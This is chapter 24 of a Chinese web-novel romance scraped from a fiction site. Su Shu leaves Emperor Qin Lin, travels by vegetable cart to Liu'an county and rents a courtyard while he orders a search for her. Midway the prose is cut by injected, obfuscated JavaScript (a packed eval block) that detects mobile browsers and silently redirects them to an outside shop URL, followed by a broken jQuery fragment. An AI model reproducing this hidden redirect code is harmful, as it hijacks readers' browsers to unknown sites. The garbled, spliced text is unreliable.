文趣网 > 其他小说 > 满朝文武都在等我发卷 > 24. 第 24 章
    苏纾秦临的脸白了,她第一次见秦临这般,心一软差点想说不是。

    可秦临已经笑了一声:“行。”

    苏纾的喉咙发紧,张了张口,最终还是沉默着看向别处。

    秦临看着苏纾,似乎在等她继续说点什么。

    片刻的沉默后,他点了点头:“行。”

    秦临转身看向路口:“都让开。”

    内侍急忙上前半步:“陛下——”

    “让开。”

    路口那两个巡防营的人退到两侧,那辆备好的车也往旁边挪开,空出一条路。

    苏纾站着没动,秦临转回来看她:“你走吧。”

    他脸色难看到极点,偏还要一副云淡风轻的样子:“不是不想见我吗?现在就走。”

    苏纾背着包袱,从那辆车旁边过去。

    路过秦临身边时,他忽然开口:“五年前你提分手的时候,也是这么想的吗?”

    苏纾沉默了很久,久到秦临转过身准备离开。

    她终于说:“我想有我自己的选择。”

    说完,她继续往前走。

    秦临站在原地,直到她走出很长一段距离后,内侍才低声道:“陛下,还跟吗?”

    秦临看着她的背影道:“只需要护好她的安全。”

    “是”

    内侍应完,刚要退下,又听秦临道:“离远些。”

    内侍脚步一停,发现陛下的目光还落在那条驿道上。

    苏纾已经走出一段了。她背着包袱,走得不疾不徐。晨光压在路面上,路边车辙里积着昨夜没干透的泥,鞋底踩过去,沾了一层灰。

    秦临转过脸看向内侍,那一眼落下来,内侍忙低头:“奴才明白。”

    苏纾走到青梧驿外的车棚边时,果然有车。

    一辆柴车,一辆骡车,还有两个挑菜进县的汉子正把筐往板车上搬。

    她停在车棚外,问:“去柳安县吗?”

    柴车车夫往她身后瞄了一眼,忙把头缩回去:“今日不去。”

    苏纾指了指车上的柴:“柴都装好了。”

    车夫的嘴唇动了半天,只憋出一句:“不去。”

    另一边的骡车车夫连价都不问,直接牵着骡子往后退。挑菜的汉子更干脆,筐还没码好,就把扁担一挑,扭头走了。

    苏纾站在原地,慢慢明白过来。

    不是没有车,是没人敢让她上车。

    她回头的念头只冒出来一瞬,又被她按下去。

    回什么头。刚说完自己选路,转身去求秦临给她安排车?那还不如一开始就坐那辆车。

    苏纾把包袱往肩上提了提,绕过车棚,顺着往柳安县的驿道走。

    她走了约莫半里地,青梧驿的动静渐渐被甩在后头。路边的铺子少了,车辙也乱了些。再往前,有个小石桥,桥边一辆菜车陷在浅沟里,车轮半边卡住,一个妇人和半大小子正在后头推,推了两下,车只晃不动。

    妇人急得骂人:“你倒是使劲儿啊!”

    半大小子憋得脸通红:“我使了!”

    苏纾扫了眼车上的菜筐,又扫了眼车辕上挂着的木牌——柳安。

    她把包袱放到路边石头上,卷起一点袖口,过去扶住车后沿。

    妇人一愣:“哎,你——”

    “推出来再说。”

    苏纾没等她问完,脚踩住沟边硬土,手上一使劲儿。

    半大小子也跟着喊了一声,妇人咬牙往前顶。车轮在泥里磨了两下,终于“咯噔”一声滚了出来。

    菜筐晃得厉害,几根葱从筐里掉出来。苏纾弯腰捡了,拍了拍泥,塞回筐里。

    妇人喘着气:“多谢娘子。”

    “不白谢。”苏纾拿起自己的包袱,“你们要去柳安县吗?”

    妇人点头:“是嘞,早些去把这些菜啊果啊卖个好价钱。”

    “能让我打个便车吗?我给钱,就坐到县外。”苏纾观察着妇人的神色,说:“我坐车尾,不占地方。”

    见妇人还有些犹豫,苏纾摸出几枚钱递过去。

    “不问来路,不管闲事,到县外我自己下。”

    妇人接了钱,往菜筐边挪出一点地方:“那你坐稳当点,别压坏我的东西。”

    苏纾把包袱塞到两只菜筐之间,自己坐到车尾木板上。板车一动,她身子往前晃了一下,手扶住车沿,很快坐稳。

    半大小子回头看她。

    苏纾从袖袋里又摸出一枚铜钱,递给他:“方才那几根葱,算我买的。”

    小子懵了一下。

    妇人笑骂:“收着吧,傻站什么?”

    板车过了小石桥,拐进一条往柳安县去的岔路。

    后头远远跟着的人追到桥边时,只看见几辆车散出去。

    一辆装柴的往东,一辆空骡车往南,两辆菜车一前一后往县里赶。车上都是菜筐、鸡笼、麻袋和赶集的人。

    他们不敢近前查。

    陛下说了,要离远些,他们揣测着就是不能让她看见,更不能惊动她。

    几个人站在桥边,脸色一个比一个难看。

    过了一会儿,有人低声道:“人呢?”

    没人答得出来。

    苏纾坐在菜车后头,路上颠得厉害,木板硌得人腰疼。菜叶味、泥腥味、鸡笼里那点味儿混在一处,实在说不上舒服。

    妇人赶着车,随口问:“娘子去县里投亲?”

    苏纾顿了顿:“算是吧。”

    “亲戚住哪儿?”

    “不知道。”

    妇人扭头看了她一眼,苏纾把帷帽往下压了压:“所以先找个地方住。”

    妇人便没再说什么。

    柳安县不大,入城的路口有卖饼的、卖旧衣的、修锅的,墙根下还蹲着几个等活的脚夫。苏纾在县外下了车,把剩下的钱付清,抱着包袱进城。

    她先找到了一家衣摊,里面的老板娘翻出一件旧衣物。

    苏纾看了看:“太破了。”

    老板娘把衣裳一抖:“这便宜。”

    “我要的是普通衣服,不是穿上去要饭。”

    老板娘噎了一下,又从后头拽出两身没那么显眼的粗布衣裳。

    苏纾挑了半天,买下一身青灰的,一身褐色的,又要了一块包袱皮。

    老板娘收钱的时候嘀咕:“娘子挑衣裳倒挑得仔细。”

    苏纾把碎银换开的铜钱收好:“我怕穿出去太扎眼。”

    老板娘手一停,抬头瞧她。

    苏纾补了一句:“我呀,欠了不少债。”

    老板娘立刻露出点懂了的神色:“那是该躲躲。”

    换完衣裳,她又去了牙行。

    牙行里头坐着个瘦脸牙人,正在剔牙。听见她要租小院,眼皮子才抬了抬。

    “娘子是一个人住?”

    苏纾把刚换好的包袱往身侧压了压:“嗯。”

    牙人打量她:“可有男主人?若是孤身女眷,左邻右舍问起来,也麻烦。”

    苏纾早有准备。她低头理了理袖口,声音压低了些:“夫君没了。”

    牙人剔牙的手停住。

    苏纾继续道:“来柳安县投亲,亲戚还没寻着。先找处能落脚的地方,不求大,不求好,院门能从里头闩上就行。”

    这话一说,牙人不再盘根问底,只把桌上的册子翻了翻:“槐花巷有一处,两间屋,一个小灶房,院子窄,门旧。主家去外地投奔儿子,急着租出去。三个月起付。”

    苏纾问:“多少钱?”

    牙人报了数。

    苏纾心里算了算。这次出来带的钱看着多,真到租房买衣置办东西的时候,花出去一块就少一块。她摸着袖袋,想起那晚私库里秦临那副大方样子,又觉得自己之前是不是说他说得太狠了。

    很快,苏纾不再内耗,谁让他先耽误她自由。

    她咬咬牙,付了三个月银钱,又多给了牙人几文,让他把院门的旧闩找人换掉。

    牙人收钱收得很痛快:“娘子放心,今日就能住。”

    槐花巷在城西,巷子两边有不少槐树。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666654|205800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    小院比苏纾想的还要再偏僻些。总共两间屋,一间能住人,一间能放杂物。院子里还有一口井,灶房小得转身都嫌挤,水缸空着,墙角还有前头主家留下的破竹篓。

    苏纾站在院子里,环顾四周。这里算不上好,但门一关,里面就是她自己的地方。

    她又出去买了米、面、盐、一小罐油、木盆、水桶、火折子、一把铜锁,还有一只旧木箱。

    在卖锁的地方,苏纾拿起一个试了试:“这锁结实不?”

    卖锁老头乐了:“这锁主要是防君子”

    “那就行。”苏纾付钱,“我就是防君子。”

    老头没听懂,苏纾笑了笑付钱走了。

    傍晚时,牙人找来的木匠终于把新门闩装上。

    苏纾把门闩推到底,院门从里头合住了。

    她站在门后,摸了摸那道木闩,忽然觉得肩膀松了一点。

    苏纾把旧木箱拖进屋里,盘腿坐在床板边,把碎银、铜钱、小金豆一样一样分开。

    她算到最后,眉头越皱越紧,“真不经花。”

    她把最大的一块碎银重新包好,塞进木箱暗格里,又从袖袋里摸出几文铜钱。

    明日得去纸墨铺看看。代写家书也好,抄几页账也罢,总不能坐吃山空。

    苏纾正想着,院外有脚步声停了一下,她立刻把木箱合上。

    脚步声很快又走远,大约只是邻居路过。

    她等了一会儿,确认外头没动静,才把油灯吹低。

    *

    青梧驿外的那边的消息已经递到秦临面前。

    “人不见了?”

    秦临把手边的茶盏磕在桌上,茶水溅出来,沿着桌沿滴下去。

    回话的人跪在地上:“苏校书过小石桥后,几辆车分路而行。属下追到岔口时,已经分不清她上了哪一辆。”

    秦临盯着他:“朕问你,人不见了?”

    那人额头贴到地上:“是属下失职。”

    “失职?”秦临站起身,“她一个女子,身上带着钱,独自走在驿道上。你们一句失职,就算交代了?”

    屋里没人敢出声。

    秦临压着火问:“小石桥往柳安县这一路,治安如何?”

    巡防营的人忙上前:“回陛下,白日里多是赶集车马,平日尚算太平。”

    “尚算?”秦临冷笑,“朕问的是有没有劫道的,有没有拦车抢货的,有没有黑店,有没有拐卖独行女眷的车夫。”

    巡防营的人被问得背上一凉,忙道:“近半月未报劫案,只是小石桥往西有片废窑,夜里少有人走。再往前有两处岔路,一处通柳安县,一处通白榆坡。”

    秦临脸色更差:“她若上错了车呢?”

    回话的人擦了擦额头上的冷汗,不敢说话。

    “她若半路出了事,你们准备怎么补救?”

    跪着的人两股战战,把身子伏在地上不敢抬头。

    秦临抬手指向门外:“去查,去找!”

    巡防营的人立刻领命。

    秦临又叫住他:“近三日的路报拿来。”

    “是。”

    “柳安县那边也传信。”秦临道,“今日入城的车马,先查有没有独行女眷搭车。若查到人,先确认她有没有伤。若确认无事,先回来报朕,不可轻举妄动。”

    他说完这句,屋里才有人敢动。

    茶水还在桌沿往下滴。

    秦临站在原地,脸色阴沉。

    她要走,他就让她走。可她若真在这条路上出点什么事——

    那个念头刚冒出来,秦临便把它压了回去。

    不行,不能再往下想。

    再想下去,他会后悔放她离开,他会觉得不如一开始就把她带回去,锁在宫里也好,扣在身边也罢。她恨也好,怨也好,至少人是平安的。

    秦临抬手覆住眼睛,掌根压在眉骨上,呼吸沉了两下,像是硬把什么东西压回去。

    再放下手时,他眼底只剩下一层冷意。

    “继续找。”